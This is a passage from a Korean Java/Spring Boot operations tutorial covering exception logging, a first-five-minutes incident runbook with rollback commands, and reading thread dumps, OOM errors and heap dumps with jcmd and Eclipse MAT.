// ❌ ④ 삼키기 — 가장 나쁨. 나중에 '왜 null 이지?' 로 돌아옵니다
try { ... } catch (Exception e) { }

// ⚠️ ⑤ {} 를 예외 자리에 쓰기 — SLF4J 는 마지막 Throwable 을 따로 뺍니다
log.error("결제 실패 {}", e);
//   출력: "결제 실패 {}" + 스택트레이스  ← {} 가 글자 그대로 남습니다
//   스택은 나오니 '틀린' 건 아니지만, 의도를 오해한 코드입니다
메시지에는 "무엇을 하다가"를, 예외에는 "왜"를 — e.getMessage() 는 라이브러리가 쓴 문장이라 내 맥락(orderId · userId)이 없습니다. 메시지 자리에 내 맥락을, 마지막 인자에 예외 객체를 두면 둘 다 남습니다.

한 곳에서 한 번 — 잡는 자리 정하기

// ❌ 레이어마다 '잡고 → 찍고 → 다시 던지기' — 같은 스택이 세 번
public Order find(Long id) {
    try { return repo.findById(id); }
    catch (DataAccessException e) {
        log.error("DB 조회 실패", e);      // 1번
        throw new OrderException(e);       // 위에서 또 찍힘
    }
}

// ✅ 잡지 말고 올려 보내기 — 필요하면 '감싸기만' 하고 로그는 안 찍음
public Order find(Long id) {
    try { return repo.findById(id); }
    catch (DataAccessException e) {
        throw new OrderException("order.find id=" + id, e);   // cause 를 반드시 넘김 ★
    }
}

// ✅ 찍는 곳은 한 곳 — 종류별로 레벨과 스택 여부를 정합니다
@RestControllerAdvice
public class ApiExceptionHandler {

    @ExceptionHandler(MethodArgumentNotValidException.class)      // 4xx
    ProblemDetail badRequest(MethodArgumentNotValidException e) {
        log.warn("api.400 path={} msg={}", path(), e.getMessage());  // 스택 없음
        return ProblemDetail.forStatus(HttpStatus.BAD_REQUEST);
    }

    @ExceptionHandler(BusinessException.class)                    // 규칙 위반
    ProblemDetail business(BusinessException e) {
        log.info("api.business code={}", e.code());                   // 코드만
        return ProblemDetail.forStatusAndDetail(HttpStatus.CONFLICT, e.code());
    }

    @ExceptionHandler(Exception.class)                            // 5xx — 우리 잘못
    ProblemDetail unexpected(Exception e) {
        log.error("api.500 path={} traceId={}", path(), MDC.get("traceId"), e);  // 스택 전체
        return ProblemDetail.forStatus(HttpStatus.INTERNAL_SERVER_ERROR);
    }
}
"잡고 다시 던질 때 로그를 찍지 않는다"가 규칙입니다. 예외는 그 예외를 최종적으로 처리하는 곳(응답을 만들거나 · 재시도를 포기하거나 · 스레드를 끝내는 곳)에서만 찍습니다. 중간 레이어는 맥락을 붙여 감싸기만 하고, cause 를 잃지 않게 넘깁니다.

실무에선 이렇게 — 스택트레이스를 읽을 수 있게 만들기 🔴 실무

200줄 스택을 20줄로

<!-- Logback 패턴 — %ex 의 옵션으로 길이와 제외 패키지를 정합니다 -->
<pattern>%d %-5level %logger{36} - %msg%n%ex{20, sun.reflect, java.lang.reflect,
  org.springframework.aop, org.springframework.cglib, jdk.internal}</pattern>
<!--   %ex{short}  첫 프레임만  ·  %ex{full}  전부  ·  %ex{20}  20줄
       뒤에 오는 패키지 이름이 들어간 프레임은 건너뜁니다 (Logback 1.1 이후)
       %rEx  = 원인(Caused by)을 '먼저' 찍습니다 — 진짜 원인이 맨 위로 ★
       %xEx  = 프레임마다 jar 이름·버전을 붙입니다 — 유용하지만 비쌉니다 -->

<!-- JSON 인코더 (logstash-logback-encoder) 는 더 세밀합니다 -->
<throwableConverter class="net.logstash.logback.stacktrace.ShortenedThrowableConverter">
  <maxDepthPerThrowable>20</maxDepthPerThrowable>
  <maxLength>4096</maxLength>
  <shortenedClassNameLength>30</shortenedClassNameLength>
  <rootCauseFirst>true</rootCauseFirst>          <!-- 원인부터 -->
  <inlineHash>true</inlineHash>                  <!-- 스택 해시 — 같은 오류 묶기 ★ -->
  <exclude>^sun\.reflect\..*</exclude>
  <exclude>^java\.lang\.reflect\..*</exclude>
  <exclude>^org\.springframework\.(aop|cglib|web\.filter)\..*</exclude>
  <exclude>^jakarta\.servlet\..*</exclude>
  <exclude>^org\.apache\.(catalina|coyote|tomcat)\..*</exclude>
</throwableConverter>
원인부터 찍으면 이렇게 됩니다 (rootCauseFirst)

  java.net.ConnectException: Connection refused        ← 진짜 원인이 첫 줄 ★
      at c.m.pg.PgClient.call(PgClient.java:88)
  Wrapped by: c.m.order.PaymentException: order.pay id=1042
      at c.m.order.PayService.pay(PayService.java:41)
  Wrapped by: c.m.api.ApiException: api.500
      at c.m.api.ApiExceptionHandler.unexpected(...)

기본 순서는 반대입니다 — 맨 아래 'Caused by' 까지 스크롤해야 원인이 나옵니다.
inlineHash 가 조용히 강력합니다 — 스택의 프레임 목록을 해시해서 필드로 넣어 주므로, 수집기에서 "같은 오류가 몇 번"을 셀 수 있습니다. 메시지에 orderId 가 들어가 매번 문자열이 달라도 해시는 같습니다. Sentry 같은 오류 추적 서비스가 하는 묶기(grouping)를 로그만으로 흉내 내는 방법입니다.

스택이 갑자기 비는 이유 · 예외의 비용

증상: 운영 며칠 뒤부터 NPE 로그에 스택이 없습니다
  java.lang.NullPointerException
  (at ... 줄이 하나도 없음)

원인: JIT 최적화 — OmitStackTraceInFastThrow ★
  같은 자리에서 NPE · ArrayIndexOutOfBounds · ClassCast ·
  ArithmeticException 이 '아주 많이' 나면 C2 컴파일러가
  스택 없는 미리 만든 예외 객체를 재사용합니다.

대책
  ① 로그를 거슬러 올라가 '처음' 났을 때의 스택을 찾습니다 (그때는 있음)
  ② 재현하려면  -XX:-OmitStackTraceInFastThrow  로 끕니다
     (성능 차이는 대개 무시할 수준이지만, 핫 경로에서 예외를 던지는 것 자체가 문제)
// 예외는 비쌉니다 — 생성 시점에 fillInStackTrace() 가 스택을 통째로 복사합니다
// 깊이 100 스택 한 번 ≈ 일반 로그 수만 줄에 해당하는 비용 (자릿수 수준의 감)

// 흐름 제어용 예외(재시도 신호 · 조기 종료)는 스택을 만들지 않게 합니다
public class RetrySignal extends RuntimeException {
    public RetrySignal(String msg) {
        super(msg, null, /*enableSuppression*/ false, /*writableStackTrace*/ false);
    }
}

// Spring 에서 '가장 안쪽 원인'만 뽑기
Throwable root = NestedExceptionUtils.getMostSpecificCause(e);
log.error("api.500 root={} msg={}", root.getClass().getSimpleName(), root.getMessage(), e);
상황스택
5xx · 예상 못 한 예외전체 (제외 패턴 적용)
재시도 후 결국 실패마지막 시도만 전체
재시도 중간 실패%ex{short} 한 줄
4xx · 검증 실패없음
흐름 제어용 예외생성조차 안 함
텍스트 로그의 스택은 수집기를 깨뜨립니다 — 줄 단위로 읽는 수집기는 스택 한 줄 한 줄을 별개의 이벤트로 만듭니다. Fluent Bit 의 multiline 파서로 붙일 수도 있지만, JSON 인코더를 쓰면 스택 전체가 error.stack_trace 필드 하나로 들어가 이 문제가 사라집니다(LOG 07).
정리 — 예외는 마지막 인자로, 최종 처리하는 한 곳에서만, 4xx 는 스택 없이 · 5xx 는 원인부터 찍습니다. 이 세 줄이면 예외 로그의 사고 대부분이 사라집니다.
런북 · 스레드 덤프 · 힙 덤프 · GC 로그 · HikariCP · 타임아웃 · Actuator · 무중단 배포 · JFR · 포스트모템 · Java 25 LTS · Spring Boot 3.x

새벽 세 시에
알람이 울려도
당황하지 않기

장애 당번 첫날에 필요한 것은 JVM 내부 이론이 아닙니다. 무엇을 먼저 보고, 어떤 명령을 치고, 언제 롤백을 누를지입니다. 이 탭은 신입부터 3년차까지가 내일 아침 운영 당번을 서도 될 만큼 실무 절차만 모았습니다 — 첫 5분 런북, 스레드 덤프·힙 덤프·GC 로그 읽는 법, 커넥션 풀과 타임아웃 값을 정하는 계산, 알람 10개, 무중단 배포, 프로파일링, 그리고 포스트모템까지. 이론은 한 줄로 다른 탭에 넘기고, 여기서는 복사해서 바로 치는 명령과 실제 설정값, 판단 기준에 집중합니다. 이 탭을 마치면 "어디부터 봐야 하지?"가 "이 순서로 보면 된다"로 바뀝니다.

13SECTIONS
Java 25· Boot 3.x 기준
5분첫 대응 런북
21시각화
OPS 01

장애 첫 5분 런북 — 분류하고, 보고, 멈춘다

장애 대응에서 가장 비싼 실수는 원인부터 찾으려는 것입니다. 첫 5분의 목표는 원인이 아니라 증상 분류 → 최근 변경 확인 → 출혈을 멈출지 결정입니다. 이 순서를 몸에 익혀 두면 알람이 울렸을 때 손이 먼저 움직입니다.

첫 5분 결정 흐름 — 질문은 마름모 하나, 답은 상자 알림 · 증상 접수 p99 · 5xx · 헬스체크 느림 p99 이 평소의 3배 이상 에러 5xx 비율 1% 이상 죽음 헬스체크 실패 · 재시작 최근 30분 안에 배포 · 설정 변경? 예 롤백 먼저 원인 분석은 그다음 아니오 스레드 덤프 3회 풀 대기 · GC 시간 함께 최다 에러 1종 의존 서비스 상태부터 종료 사유 확인 OOMKilled · exit 137 롤백은 원인 분석이 아니라 출혈을 멈추는 조치입니다 — 멈추고 나서 봅니다
결정 흐름 — "최근에 뭘 바꿨나"가 증상과 상관없이 두 번째 질문입니다. 장애의 대부분은 변경에서 옵니다.

증상 세 갈래 — 무엇을 먼저 보나

증상먼저 볼 지표첫 명령 · 화면
느림p99 지연 · 스레드 busy · Hikari pending · GC 시간jcmd 1 Thread.print 3회 (OPS 02)
에러5xx 비율 · 상태코드 분포 · 의존 서비스 에러율최근 10분 에러 로그 종류별 개수
죽음재시작 횟수 · 컨테이너 메모리 · 헬스체크kubectl describe pod 의 Last State
일부만인스턴스별 · 엔드포인트별 분해한 대만 이상하면 그 한 대를 빼기
"전체냐 일부냐"를 먼저 가르세요 — 인스턴스 한 대만 이상하면 그 대를 로드밸런서에서 빼는 것으로 끝납니다. 특정 API 하나만 느리면 그 API 의 의존성(DB 쿼리 · 외부 호출)만 보면 됩니다. 전체가 동시에 이상하면 공통 의존성(DB · 캐시 · 네트워크 · 최근 배포)입니다.

첫 2분에 치는 명령 — 그대로 복사

# ① 파드 상태 — 재시작(RESTARTS)이 늘고 있나
kubectl -n shop get pods -l app=order-api -o wide

# ② 죽었다면 왜 죽었나 — Last State 의 Reason · Exit Code
kubectl -n shop describe pod order-api-7d9f8-x2k4p | grep -A6 "Last State"
#   Reason: OOMKilled   Exit Code: 137   → OPS 03 · OPS 04

# ③ 최근 변경 — 언제 무엇이 배포됐나
kubectl -n shop rollout history deployment/order-api
git log --since="2 hours ago" --oneline origin/main

# ④ 최근 10분 에러를 '종류별'로 세기 (가장 많은 것 하나만 봅니다)
kubectl -n shop logs -l app=order-api --since=10m --tail=-1 \
  | grep -E "ERROR|Exception" \
  | sed -E 's/[0-9]{4}-[0-9-]+T?[0-9:.]+//' \
  | sort | uniq -c | sort -rn | head -5

# ⑤ 앱이 스스로 아프다고 하나
curl -s localhost:8081/actuator/health | jq .
로그를 위에서부터 읽지 마세요 — 10분이면 수만 줄입니다. 종류별 개수로 압축하면 "Connection is not available 4,812건" 같은 한 줄이 나옵니다. 그 한 줄이 다음에 볼 곳을 알려 줍니다.

한 단계 더 — 5분을 쪼개 쓰기 🟡 중급

첫 5분 타임박스 — 세로 붉은 선(4분)까지 결정을 내립니다 0:00 1:00 2:00 3:00 4:00 5:00 상황 선언 · 채널 대시보드 4종 최근 변경 확인 최다 에러 1종 결정 · 실행 롤백 · 격리 · 관찰 공지 · 기록 5분마다 한 줄 — 무엇을 봤고 다음에 무엇을 할지 결정 마감 5분 안에 원인을 못 찾는 건 정상입니다 — 결정을 못 내리는 것이 문제입니다
간트 — 보기와 결정 사이에 마감선을 그어 두면 "조금만 더 보자"로 30분이 사라지지 않습니다.

롤백 판단 기준 — 셋 중 하나면 누릅니다

조건판단
증상 시작이 배포 직후 30분 안즉시 롤백 — 확인은 롤백 후
에러율이 SLO 의 10배를 5분째 유지롤백 또는 기능 플래그 끄기
원인 가설이 15분째 없음되돌릴 수 있는 것부터 되돌림
DB 스키마 변경이 포함된 배포롤백 전 호환성 확인 (OPS 09)
외부 서비스(PG · 통신사) 장애롤백 무의미 — 서킷 · 폴백 확인
트래픽 폭증(마케팅 · 크롤러)스케일 아웃 · 레이트 리밋
롤백을 망설이게 만드는 말 — "이번 배포랑은 상관없을 것 같은데요". 상관없으면 롤백해도 증상이 그대로일 테니 그걸로 가설 하나가 지워집니다. 롤백은 손해가 거의 없는 실험입니다. 단, 스키마가 바뀐 배포는 예외입니다.

되돌리는 명령 — 미리 손에 익혀 두기

# 쿠버네티스 — 직전 리비전으로
kubectl -n shop rollout undo deployment/order-api
kubectl -n shop rollout status deployment/order-api --timeout=5m

# 특정 리비전으로 (history 에서 번호 확인)
kubectl -n shop rollout undo deployment/order-api --to-revision=41

# Helm 으로 배포했다면
helm -n shop history order-api
helm -n shop rollback order-api 41 --wait

# 한 대만 이상할 때 — 지우지 말고 '트래픽에서만' 빼기
#   (레이블을 바꾸면 Service 셀렉터에서 빠지고, 파드는 남아 덤프를 뜰 수 있음)
kubectl -n shop label pod order-api-7d9f8-x2k4p app=order-api-quarantine --overwrite

# 기능 플래그로 끄기 (예: Unleash · LaunchDarkly · 사내 설정 서버)
curl -X POST https://flags.internal/api/features/new-checkout/off
격리 후 덤프를 뜨세요 — 문제 파드를 바로 지우면 증거가 사라집니다. 레이블을 바꿔 트래픽에서만 빼 두면, Deployment 가 새 파드를 하나 더 띄우고 격리된 파드에서는 천천히 스레드 덤프 · 힙 덤프를 뜰 수 있습니다.

실무에선 이렇게 — 말로 상황을 공유하는 법 🔴 실무

상황 선언 · 5분 업데이트 템플릿

[장애 선언] 02:14  SEV2  주문 API 지연
- 증상: /orders p99 4.8s (평소 0.3s), 5xx 2.1%
- 영향: 주문 생성 일부 실패, 조회는 정상
- 담당(IC): 김OO  /  기록: 이OO
- 다음 업데이트: 02:20

[업데이트] 02:20
- 확인한 것: 01:58 배포 v2.41 (쿠폰 조회 쿼리 변경)
- 가설: 새 쿼리가 풀을 오래 점유 → Hikari pending 40+
- 조치: 02:21 v2.40 으로 롤백 시작
- 다음 업데이트: 02:26

[복구] 02:29
- p99 0.31s, 5xx 0% — 10분 관찰 후 종료 선언
- 후속: 포스트모템 담당 김OO, 목요일까지 (OPS 13)

역할 나누기 — 혼자 다 하지 않기

역할하는 일하지 않는 일
지휘(IC)결정 · 우선순위 · 사람 부르기직접 디버깅
조사덤프 · 로그 · 쿼리 확인공지 작성
기록 · 공지타임라인 · 5분 업데이트원인 추측 공유
당번 혼자일 때5분 안에 한 명 더 부르기"조금만 더 보고" 버티기
SEV 기준은 팀마다 문서로 — 예: SEV1 = 핵심 기능 전면 불가 · 매출 직접 손실, SEV2 = 일부 사용자·기능 장애, SEV3 = 우회 가능한 불편. SEV 를 정하는 데 1분 이상 쓰지 마세요 — 애매하면 높게 잡고 나중에 낮춥니다.
정리 — 첫 5분은 분류(느림·에러·죽음) → 최근 변경 확인 → 롤백 여부 결정입니다. 원인은 그다음입니다. 로그는 종류별 개수로 압축해서 보고, 이상한 인스턴스는 지우지 말고 트래픽에서만 빼서 증거를 남기세요.
OPS 02

스레드 덤프 읽기 — "지금 다들 뭐 하고 있나"를 찍은 사진

"서버가 느리다"의 절반 이상은 스레드 덤프 세 장이면 원인이 보입니다. 덤프는 모든 스레드가 그 순간 서 있는 코드 줄을 찍은 사진입니다. 한 장은 우연일 수 있으니 5초 간격으로 세 장 떠서, 계속 같은 곳에 몰려 있는 스레드를 찾습니다. 스레드 상태와 락의 원리는 🧬 고급 탭 ADV 04~05에 있고, 여기서는 읽는 법만 다룹니다.

덤프 한 항목 뜯어 보기 — 두 상자의 같은 주소가 연결 고리입니다 "http-nio-8080-exec-17" #63 cpu=1532ms java.lang.Thread.State: BLOCKED at c.s.StockService.decrease(:42) - waiting to lock <0x6c1a2b3c8> at c.s.OrderService.place(:88) ① 이름 — exec 는 톰캣 요청 스레드 ② BLOCKED = 락 입구에서 대기 ③ 맨 위 프레임 = 지금 멈춘 줄 ④ 이 주소를 쥔 스레드를 찾기 ⑤ 아래로 갈수록 호출한 쪽 "http-nio-8080-exec-3" #49 cpu=88ms java.lang.Thread.State: RUNNABLE at sun.nio.ch.NioSocketImpl.read - locked <0x6c1a2b3c8> RUNNABLE 이지만 소켓 응답 대기 ⑥ 같은 주소 — 락 쥐고 외부 호출 RUNNABLE 이 "일하는 중"은 아닙니다 — 네이티브 I/O 대기도 RUNNABLE 로 찍힙니다
해부도 — waiting to lock 의 주소로 locked 를 검색하면 범인 스레드가 나옵니다. 덤프 읽기의 절반이 이 검색입니다.

덤프 뜨기 — 5초 간격 3장

# 자바 프로세스 찾기 (JDK 의 jps 또는 ps)
jps -l
#   1 /app/app.jar          ← 컨테이너 안에서는 보통 PID 1

# 권장: jcmd (-l 은 jstack 과 같은 락 정보 포함)
for i in 1 2 3; do
  jcmd 1 Thread.print -l > /tmp/td-$(date +%H%M%S).txt
  sleep 5
done

# 쿠버네티스 — 파드 안에서 떠서 로컬로 가져오기
kubectl -n shop exec order-api-7d9f8-x2k4p -- \
  sh -c 'for i in 1 2 3; do jcmd 1 Thread.print -l > /tmp/td-$i.txt; sleep 5; done'
kubectl -n shop cp order-api-7d9f8-x2k4p:/tmp/td-1.txt ./td-1.txt

# JDK 가 없는 이미지(JRE 만)라면 — 표준 출력으로 덤프가 찍힙니다
kill -3 1          # SIGQUIT. 프로세스는 죽지 않습니다
kubectl -n shop logs order-api-7d9f8-x2k4p --since=1m > td.txt
JRE 이미지에는 jcmd 가 없습니다 — eclipse-temurin:25-jre 같은 이미지라면 kill -3 이 유일한 길입니다. 운영 이미지를 만들 때 jcmd 를 쓸 수 있게 할지 미리 정해 두세요(JDK 이미지 또는 jlink 에 jdk.jcmd 모듈 포함).

상태 여섯 개 — 덤프에서의 뜻

상태덤프에서의 뜻많으면
RUNNABLECPU 를 쓰거나 소켓 · 파일 I/O 대기맨 위 프레임이 read 면 외부가 느림
BLOCKEDsynchronized 입구 대기락 경합 — 쥔 쪽을 찾기
WAITINGpark · wait() 무기한풀 대기면 자원 고갈
TIMED_WAITINGsleep · 시간 제한 대기대개 유휴 스레드 — 정상. 단 맨 위가 HikariPool.getConnection 이면 풀 고갈
NEW · TERMINATED덤프에 거의 안 나옴—
# 상태별 개수 — 첫 10초 요약
grep -o "Thread.State: [A-Z_]*" td-1.txt | sort | uniq -c | sort -rn
#   182 Thread.State: TIMED_WAITING
#    41 Thread.State: WAITING
#    15 Thread.State: BLOCKED     ← 평소 0 이면 이상
#    12 Thread.State: RUNNABLE

한 단계 더 — 세 장을 겹쳐 보는 법 🟡 중급

맨 위 프레임별 스레드 수 — 세 장 모두 진한 줄이 병목입니다 덤프 1 +5초 +10초 판정 HikariPool.getConnection 38 41 40 풀 고갈 → OPS 05 StockService.decrease 12 15 14 락 경합 NioSocketImpl.read 6 5 7 외부 호출 대기 Jackson 직렬화 2 0 1 일시적 — 무시 유휴 (park · poll) 142 139 138 정상 — 일감 없음 유휴 스레드는 숫자가 커도 칠하지 않습니다 — 색은 "기다리는 일감"에만 씁니다 한 장에만 있는 줄은 우연, 세 장 모두 있는 줄이 병목입니다
히트맵 — 세 장 내내 진한 줄이 답입니다. 이 표는 아래 한 줄짜리 명령으로 직접 만들 수 있습니다.

맨 위 프레임 집계 — 위 히트맵을 만드는 명령

# 각 스레드의 '상태 다음 첫 번째 at 줄'만 뽑아 세기
for f in td-*.txt; do
  echo "== $f"
  awk '/java.lang.Thread.State/{getline; print}' "$f" \
    | sed -E 's/^\s+at //; s/\(.*//' \
    | sort | uniq -c | sort -rn | head -8
done

# 우리 회사 코드가 걸린 프레임만 (패키지로 거르기)
grep -h "at com.shop" td-*.txt | sort | uniq -c | sort -rn | head
도구도 있습니다 — IntelliJ 의 Analyze Stack Trace or Thread Dump, 웹 도구 fastThread, JDK Mission Control 이 같은 집계를 그림으로 보여 줍니다. 단, 운영 덤프에는 URL 파라미터 · 사용자 정보가 섞일 수 있으니 외부 웹 도구에 올리기 전에 회사 정책을 확인하세요.

가상 스레드를 쓴다면 (Java 21+)

# Thread.print 에는 '플랫폼 스레드'만 나옵니다.
# 가상 스레드는 이 명령으로 — JSON 이 grep · jq 에 편합니다
jcmd 1 Thread.dump_to_file -format=json /tmp/vt.json

jq '.threadDump.threadContainers[]
    | {container, n: (.threads | length)}' /tmp/vt.json

# Java 21~23: synchronized 안에서 블로킹하면 캐리어 스레드가 묶임(pinning)
#   진단: -Djdk.tracePinnedThreads=full
# Java 24+ : JEP 491 로 synchronized pinning 은 대부분 해소
가상 스레드에서는 "스레드 수"가 증상이 아닙니다 — 수만 개가 정상입니다. 대신 커넥션 풀 · 세마포어 같은 유한 자원 앞의 대기가 병목으로 드러납니다. 자세한 함정은 🧵 최신 Java 탭에 있습니다.

실무에선 이렇게 — 자주 만나는 패턴 세 가지 🔴 실무

① 데드락 — JVM 이 직접 알려 줍니다

Found one Java-level deadlock:
=============================
"pool-3-thread-2":
  waiting to lock monitor 0x00007f1c2c004e28 (object 0x000000071a2b3c40, a com.shop.Account),
  which is held by "pool-3-thread-1"
"pool-3-thread-1":
  waiting to lock monitor 0x00007f1c2c007a18 (object 0x000000071a2b3c58, a com.shop.Account),
  which is held by "pool-3-thread-2"

Java stack information for the threads listed above:
"pool-3-thread-2":
    at com.shop.TransferService.transfer(TransferService.java:31)
    - waiting to lock <0x000000071a2b3c40> (a com.shop.Account)
    - locked <0x000000071a2b3c58> (a com.shop.Account)
찾는 법 — 덤프 맨 끝에서 Found one Java-level deadlock 을 검색합니다. 고치는 법 — 두 락을 항상 같은 순서(예: 계좌 ID 오름차순)로 잡습니다. ReentrantLock 은 이 탐지에 안 걸릴 수 있으니 tryLock(timeout) 을 쓰세요.

② 락 경합 · ③ 풀 고갈 — 발췌로 구분

② 락 경합 — BLOCKED 가 한 줄에 몰림, 쥔 쪽은 '느린 일' 중
"http-nio-8080-exec-17" ... BLOCKED (on object monitor)
    at com.shop.StockService.decrease(StockService.java:42)
    - waiting to lock <0x00000006c1a2b3c8> (a java.lang.Object)
→ 쥔 쪽(locked <0x...3c8>)이 synchronized 안에서 DB · HTTP 호출 중

③ 풀 고갈 — TIMED_WAITING(parking), 맨 위가 Hikari 의 대기열
   (connection-timeout 만큼만 기다리는 poll 이라 WAITING 이 아니라 TIMED_WAITING 입니다)
"http-nio-8080-exec-88" ... TIMED_WAITING (parking)
    at jdk.internal.misc.Unsafe.park(Native Method)
    - parking to wait for <0x...> (a java.util.concurrent.SynchronousQueue$TransferStack)
    at com.zaxxer.hikari.util.ConcurrentBag.borrow(ConcurrentBag.java:...)
    at com.zaxxer.hikari.pool.HikariPool.getConnection(HikariPool.java:...)
→ 커넥션을 쥔 스레드들이 무엇을 하는지(트랜잭션 안 외부 호출?)가 진짜 원인
풀 고갈에서 흔한 오해 — "대기 스레드가 40개니까 풀을 40으로 늘리자". 진짜 질문은 커넥션을 가진 10개가 왜 안 돌려주나입니다. 덤프에서 getConnection 이 아닌 스레드 중 JDBC 를 쥔 것들의 맨 위 프레임을 보세요(OPS 05).
정리 — 덤프는 5초 간격 세 장, 읽을 때는 상태별 개수 → 맨 위 프레임 집계 → 락 주소 추적 순서입니다. BLOCKED 가 몰리면 락 경합, Hikari 에서 TIMED_WAITING 이 몰리면 풀 고갈, 맨 위가 socket read 인 RUNNABLE 이 몰리면 외부가 느린 것입니다.
OPS 03

힙 덤프와 OOM — 메시지가 이미 칸 이름을 알려 줍니다

OutOfMemoryError 는 한 종류가 아닙니다. 어느 메모리 칸이 찼는지가 메시지에 그대로 찍히고, 칸마다 원인과 처방이 완전히 다릅니다. 그리고 힙이 원인이라면 죽는 순간의 힙 덤프가 유일한 증거입니다 — 그래서 덤프 옵션은 장애 전에 켜 둬야 합니다. 힙 구조와 MAT 의 원리는 🔬 전문가 탭 DEEP 07에 있습니다.

컨테이너 2 GiB 안의 칸들 — 폭은 대략의 비율, 아래는 그 칸이 찼을 때의 메시지 힙 (-Xmx) 1.2 GiB · 객체가 사는 곳 Meta 클래스 스택 1MB×N Direct NIO 코드 · GC 기타 네이티브 Direct buffer memory unable to create native thread Metaspace Java heap space · GC overhead limit exceeded 합이 한도를 넘으면 → OOMKilled · exit 137 — JVM 은 아무 메시지도 못 남깁니다 메시지에 칸 이름이 찍힙니다 — 원인 추측보다 메시지 한 줄을 먼저 읽으세요
메모리 배치 — 힙만 메모리가 아닙니다. Xmx 를 컨테이너 한도와 같게 잡으면 나머지 칸이 들어갈 자리가 없어 OOMKilled 가 납니다.

OOM 다섯 종류 — 메시지별 첫 조치

메시지흔한 원인첫 조치
Java heap space누수 · 한 번에 너무 많이 로드(전체 조회 · 엑셀)힙 덤프 분석
GC overhead limit exceeded힙이 거의 꽉 찬 채 GC 만 반복위와 같음 — 사실상 같은 병
Metaspace클래스 동적 생성 누수(프록시 · 스크립트 엔진 · 핫 리로드)jcmd 1 VM.metaspace
unable to create native thread스레드 무한 생성 · ulimit -u · pids 제한스레드 덤프로 풀 이름별 개수
Direct buffer memoryNetty · NIO 버퍼 해제 누락-XX:NativeMemoryTracking
OOMKilled (137)힙 외 메모리 합이 컨테이너 한도 초과Xmx 비율 낮추기 (OPS 04)
OOMKilled 에는 힙 덤프가 없습니다 — 운영체제가 SIGKILL 로 죽였기 때문에 JVM 은 덤프를 쓸 기회가 없습니다. "OOM 인데 덤프가 안 남았다"면 거의 이것입니다. kubectl describe pod 의 Reason: OOMKilled 로 확인합니다.

장애 전에 켜 둘 JVM 옵션 — 그대로 복사

# Dockerfile 또는 Deployment 의 JAVA_TOOL_OPTIONS
JAVA_TOOL_OPTIONS="\
 -XX:MaxRAMPercentage=70.0 \
 -XX:+HeapDumpOnOutOfMemoryError \
 -XX:HeapDumpPath=/dumps \
 -XX:+ExitOnOutOfMemoryError \
 -XX:MaxMetaspaceSize=512m \
 -XX:MaxDirectMemorySize=256m \
 -XX:NativeMemoryTracking=summary \
 -Xlog:gc*:file=/dumps/gc-%p.log:time,uptime,level,tags:filecount=5,filesize=20m"

# HeapDumpPath 가 디렉터리면 java_pid<PID>.hprof 로 저장됩니다
# /dumps 는 반드시 '파드가 죽어도 남는' 볼륨이어야 합니다
옵션왜
HeapDumpOnOutOfMemoryError죽는 순간 증거 확보
ExitOnOutOfMemoryError반쯤 죽은 채 살아 있지 않게 — 재시작이 낫다
MaxMetaspaceSize기본은 무제한 — 누수가 컨테이너를 죽임
NativeMemoryTracking힙 밖 메모리를 칸별로 보기(약간의 비용)

한 단계 더 — 누수인지 그냥 많이 쓰는 건지 🟡 중급

GC 직후 힙 사용률 12시간 — 톱니의 '바닥'이 오르면 누수입니다 0 50 100% GC 후 85% — 알람 기준 정상 — 바닥이 평평 OOM 누수 — GC 를 해도 바닥이 오름 0h 3h 6h 9h 12h 순간 사용률이 아니라 GC 직후 값을 봐야 합니다 — 순간값은 늘 톱니처럼 오르내립니다
라인 — GC 직후 값의 추세가 누수 판별의 전부입니다. 평평하면 많이 쓰는 것이고, 오르면 새는 것입니다.

살아 있는 프로세스에서 덤프 뜨기

# ① 먼저 가볍게 — 클래스별 개수 · 크기 상위 (몇 초)
jcmd 1 GC.class_histogram | head -20
#  num   #instances    #bytes  class name
#    1:    8123456  389925888  [B
#    2:    8120004  194880096  java.lang.String
#    3:    2030001   97440048  com.shop.order.OrderLine   ← 우리 클래스가 상위면 의심

# ② 힙 덤프 (살아 있는 객체만 — 기본값)
jcmd 1 GC.heap_dump /dumps/heap-$(date +%H%M).hprof
#   -all 을 붙이면 도달 불가 객체까지 (더 큼)

# ③ 가져오기 — 크기를 먼저 확인 (힙 크기와 비슷합니다)
kubectl -n shop exec order-api-x2k4p -- ls -lh /dumps
kubectl -n shop cp order-api-x2k4p:/dumps/heap-0214.hprof ./heap.hprof

# 히스토그램을 10분 간격으로 두 번 떠서 비교하면
# '계속 늘어나는 클래스'가 바로 보입니다
힙 덤프는 JVM 을 멈춥니다 — 힙 4 GiB 면 수 초~수십 초 동안 응답이 없습니다. 헬스체크가 실패해 재시작되면서 덤프가 잘리는 사고가 흔합니다. OPS 01 처럼 트래픽에서 빼고 뜨거나, liveness 실패 허용치를 잠시 늘리세요.

Eclipse MAT — 이 순서로만 보세요

# MAT 자체에 힙을 넉넉히 (덤프 크기의 1.5배 이상)
#   MemoryAnalyzer.ini 의 -Xmx 를 8g 등으로 수정

# 서버에서 GUI 없이 리포트만 뽑기 (zip 안에 HTML)
./ParseHeapDump.sh heap.hprof org.eclipse.mat.api:suspects
./ParseHeapDump.sh heap.hprof org.eclipse.mat.api:top_components
#화면무엇을 보나
1Leak Suspects"한 객체가 힙의 72%를 잡고 있다" — 첫 가설
2Dominator TreeRetained Heap 내림차순 맨 위 몇 개
3Path to GC Rootsweak/soft 제외 — 누가 놓아주지 않나
4Histogram개수가 비정상인 우리 클래스
Shallow vs Retained — Shallow 는 그 객체 자체의 크기, Retained 는 그 객체가 사라지면 같이 풀리는 전체 크기입니다. HashMap 하나의 Shallow 는 48바이트지만 Retained 는 2 GiB 일 수 있습니다. Retained 로 정렬하세요.

실무에선 이렇게 — Dominator Tree 를 읽고 코드로 가기 🔴 실무

실제로 이렇게 보입니다

Class Name                                         Retained Heap   %
-------------------------------------------------------------------------
java.util.concurrent.ConcurrentHashMap @ 0x7a1..     1,512,330,112  71.8%
'- table  java.util.concurrent.ConcurrentHashMap$Node[262144]
   '- val  com.shop.coupon.CouponView                       5,912
      '- items  java.util.ArrayList                            ...
org.apache.tomcat.util.threads.TaskThread                 41,220,880   1.9%
...
Path to GC Roots (exclude weak/soft):
  com.shop.coupon.CouponCache.CACHE   ← static 필드
    '- class com.shop.coupon.CouponCache  (System Class Loader)

→ 해석: static Map 캐시에 키가 계속 쌓이고 지워지지 않는다

자주 나오는 누수 다섯 — 그리고 처방

❌ 크기 제한 없는 static 캐시
static final Map<String, CouponView> CACHE =
        new ConcurrentHashMap<>();
CACHE.put(userId + ":" + couponId, view);   // 영원히 쌓임
✅ 상한 · 만료가 있는 캐시
Cache<String, CouponView> cache = Caffeine.newBuilder()
